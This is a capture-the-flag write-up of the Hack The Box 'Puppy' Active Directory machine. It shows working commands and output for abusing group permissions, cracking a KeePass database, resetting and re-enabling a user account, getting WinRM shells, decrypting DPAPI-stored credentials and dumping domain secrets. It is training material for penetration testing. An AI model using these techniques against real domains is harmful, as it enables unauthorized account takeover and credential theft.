Introduction #
Puppy is an Active Directory box with assumed breach - set of initial credentials. The breached account is in the HR group with GenericWrite rights over Developers group. I can add the breached user to this group to get access to SMB share with KeePass database, crack it and get another user. He is in the Senior Developers group and had GenericAll rights over another user. I can reset that user’s password and get a WinRM session. From there I can access a site backup with saved password to next user. Finally I can use that user’s DPAPI access to get administrator credentials.
Recon #
nmap #
nmap finds lots of TCP ports:
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.232.75
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-11-25 17:02:16Z)
111/tcp open rpcbind syn-ack ttl 127 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
2049/tcp open nlockmgr syn-ack ttl 127 1-4 (RPC #100021)
3260/tcp open iscsi? syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 6h59m59s
| smb2-time:
| date: 2025-11-25T17:04:08
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 32931/tcp): CLEAN (Timeout)
| Check 2 (port 11843/tcp): CLEAN (Timeout)
| Check 3 (port 19274/udp): CLEAN (Timeout)
| Check 4 (port 28111/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
The box is a Windows Domain Controller. The domain is puppy.htb with DC hostname.
I can generate host file:
└─$ netexec smb 10.129.232.75 --generate-hosts-file puppy.hosts
SMB 10.129.232.75 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
└─$ cat puppy.hosts
10.129.232.75 DC.PUPPY.HTB PUPPY.HTB DC
and add it to /etc/hosts
Initial Credentials #
The initial credentials work for both SMB and LDAP:
└─$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!'
SMB 10.129.232.75 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.232.75 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
└─$ netexec ldap puppy.htb -u levi.james -p 'KingofAkron2025!'
LDAP 10.129.232.75 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
LDAP 10.129.232.75 389 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB - TCP 445 #
Looking at SMB there is non-standard share DEV (DEV-SHARE for PUPPY-DEVS)
└─$ smbclient -L //puppy.htb/ -U 'levi.james%KingofAkron2025!'
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
DEV Disk DEV-SHARE for PUPPY-DEVS
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to puppy.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
At the moment I do not have access:
└─$ smbclient //puppy.htb/DEV -U 'levi.james%KingofAkron2025!'
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \>
BloodHound #
With SMB being dead end at the moment next best thing is BloodHound:
└─$ bloodhound-ce-python -c all -d PUPPY.HTB -u levi.james -p 'KingofAkron2025!' -ns 10.129.232.75 --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 05S
INFO: Compressing output into 20251125074852_bloodhound.zip

Looking at my user, he is member of HR@PUPPY.HTB a group that has GenericWrite rights over the DEVELOPERS@PUPPY.HTB:

I can add my user to this group:
└─$ bloodyAD --host puppy.htb -d puppy.htb -u levi.james -p 'KingofAkron2025!' add groupMember DEVELOPERS 'levi.james'
[+] levi.james added to DEVELOPERS
Keepass #
With our fresh new Developer team member :) I can check the DEV share again:
└─$ smbclient //puppy.htb/DEV -U 'levi.james%KingofAkron2025!'
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Sun Mar 23 03:07:57 2025
.. D 0 Sat Mar 8 11:52:57 2025
KeePassXC-2.7.9-Win64.msi A 34394112 Sun Mar 23 03:09:12 2025
Projects D 0 Sat Mar 8 11:53:36 2025
recovery.kdbx A 2677 Tue Mar 11 22:25:46 2025
5080575 blocks of size 4096. 1642320 blocks available
smb: \> get KeePassXC-2.7.9-Win64.msi
getting file \KeePassXC-2.7.9-Win64.msi of size 34394112 as KeePassXC-2.7.9-Win64.msi (1537.1 KiloBytes/sec) (average 1537.1 KiloBytes/sec)
smb: \> get recovery.kdbx
getting file \recovery.kdbx of size 2677 as recovery.kdbx (26.7 KiloBytes/sec) (average 1530.3 KiloBytes/sec)
There is recovery.kdbx file. I should be able to get master password from there.
But keepass2john is giving me error:
└─$ keepass2john recovery.kdbx > hash.txt
! recovery.kdbx : File version '40000' is currently not supported!
After Googling for a bit I learned that I can simply download and compile the John and it should work.
git clone https://github.com/openwall/john.git
cd john/src
./configure && make -s clean && make -sj$(nproc)
And it did:
└─$ ./john/run/keepass2john recovery.kdbx > hash.txt
Then to crack it:
└─$ ./john/run/john hash.txt --wordlist=~/Tools/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [AES/Argon2 128/128 SSE2])
Cost 1 (t (rounds)) is 37 for all loaded hashes
Cost 2 (m) is 65536 for all loaded hashes
Cost 3 (p) is 4 for all loaded hashes
Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 0 for all loaded hashes
Will run 6 OpenMP threads
Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Failed to use huge pages (not pre-allocated via sysctl? that's fine)
liverpool (recovery)
1g 0:00:00:16 DONE (2025-11-25 09:00) 0.05910g/s 2.128p/s 2.128c/s 2.128C/s friends..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed
And I have the password: liverpool
With that I can install the KeePassXC and look inside:

Antman #
I got several credentials:
- ADAM SILVER > HJKL2025!
- ANTONY C. EDWARDS > Antman2025!
- JAMIE WILLIAMSON > JamieLove2025!
- SAMUEL BLAKE > ILY2025!
- STEVE TUCKER > Steve2025!
From all of them only ANTONY C. EDWARDS was useful (and working), he is member of SENIOR DEVS@PUPPY.HTB that has GenericAll over ADAM SILVER.
Password Change #
I can change Adam’s password:
bloodyAD --host puppy.htb -d PUPPY.HTB -u ant.edwards -p 'Antman2025!' set password adam.silver 'Pwned2025!'
But when I tried to use it the account was disabled:
└─$ netexec smb puppy.htb -u adam.silver -p 'Pwned2025!'
SMB 10.129.232.75 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.232.75 445 DC [-] PUPPY.HTB\adam.silver:Pwned2025! STATUS_ACCOUNT_DISABLED
No worries, with the current rights I can enable it:
└─$ bloodyAD --host puppy.htb -d PUPPY.HTB -u ant.edwards -p 'Antman2025!' remove uac adam.silver -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl
└─$ netexec smb puppy.htb -u adam.silver -p 'Pwned2025!'
SMB 10.129.232.75 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.232.75 445 DC [+] PUPPY.HTB\adam.silver:Pwned2025!
Shell as Adam Silver #
With the account enabled I can WinRM in and grab the user flag:
└─$ evil-winrm -i puppy.htb -u adam.silver -p 'Pwned2025!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
.
.
*Evil-WinRM* PS C:\Users\adam.silver\Desktop> dir
Directory: C:\Users\adam.silver\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/28/2025 12:31 PM 2312 Microsoft Edge.lnk
-ar--- 11/25/2025 9:00 AM 34 user.txt
*Evil-WinRM* PS C:\Users\adam.silver\Desktop>
Next there is C:\Backups directory with site-backup zip file:
*Evil-WinRM* PS C:\Backups> dir
Directory: C:\Backups
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/8/2025 8:22 AM 4639546 site-backup-2024-12-30.zip
*Evil-WinRM* PS C:\Backups> download site-backup-2024-12-30.zip
Info: Downloading C:\Backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip
Info: Download successful!
Site Backup #
The zip file contains a backup of a website that is not accessible on the box and contains config file:
└─$ cat nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
<user-attributes>
<attribute name="username" ldap-attribute="uid" />
<attribute name="firstName" ldap-attribute="givenName" />
<attribute name="lastName" ldap-attribute="sn" />
<attribute name="email" ldap-attribute="mail" />
</user-attributes>
<group-attributes>
<attribute name="groupName" ldap-attribute="cn" />
<attribute name="groupMember" ldap-attribute="member" />
</group-attributes>
<search-filter>
<filter>(&(objectClass=person)(uid=%s))</filter>
</search-filter>
</ldap-config>
There are credentials steph.cooper:ChefSteph2025!
└─$ netexec smb puppy.htb -u steph.cooper -p 'ChefSteph2025!'
SMB 10.129.232.75 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.232.75 445 DC [+] PUPPY.HTB\steph.cooper:ChefSteph2025!
They also work on WinRM:
evil-winrm -i puppy.htb -u steph.cooper -p 'ChefSteph2025!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper\Documents>
Shell as steph.cooper_adm #
I got stuck there and had to run WinPEAS here failure
Steph.Cooper has a credential stored in the Windows Credential Manager:
*Evil-WinRM* PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials> ls -force
Directory: C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:54 AM 414 C8D69EBE9A43E9DEBF6B5FBD48B521B9
And there is a master key right next to it:
*Evil-WinRM* PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> ls -force
Directory: C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:40 AM 740 556a2412-1275-4ccf-b721-e6a0b4f90407
-a-hs- 2/23/2025 2:36 PM 24 Preferred
DPAPI #
For more info: HERE
WinRM has tough time downloading hidden files, but I can copy, unhide and download them from another directory:
*Evil-WinRM* PS C:\programdata> copy \Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 masterkey
*Evil-WinRM* PS C:\programdata> copy \Users\steph.cooper\appdata\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 creds
*Evil-WinRM* PS C:\programdata> gci -force
*Evil-WinRM* PS C:\programdata> attrib -s -h masterkey
*Evil-WinRM* PS C:\programdata> attrib -s -h creds
*Evil-WinRM* PS C:\programdata> download masterkey
*Evil-WinRM* PS C:\programdata> download creds
Now I can decrypt the master key using dpapi:
└─$ dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags : 0 (0)
Policy : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
and with this key I can decrypt the credentials:
└─$ dpapi.py credential -file creds -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Description :
Unknown :
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!
WinRM #
Now I can WinRM back in as steph.cooper_adm:
evil-winrm -i puppy.htb -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'
Who is member of Administrators

So I can just grab the root flag.
Alternatively I could use secretsdump and dump the whole domain to get Administrator hash and use that to log in, but the access it the same for flag purposes.
└─$ secretsdump.py 'staph.cooper_adm:FivethChipOnItsWay2025!@puppy.htb'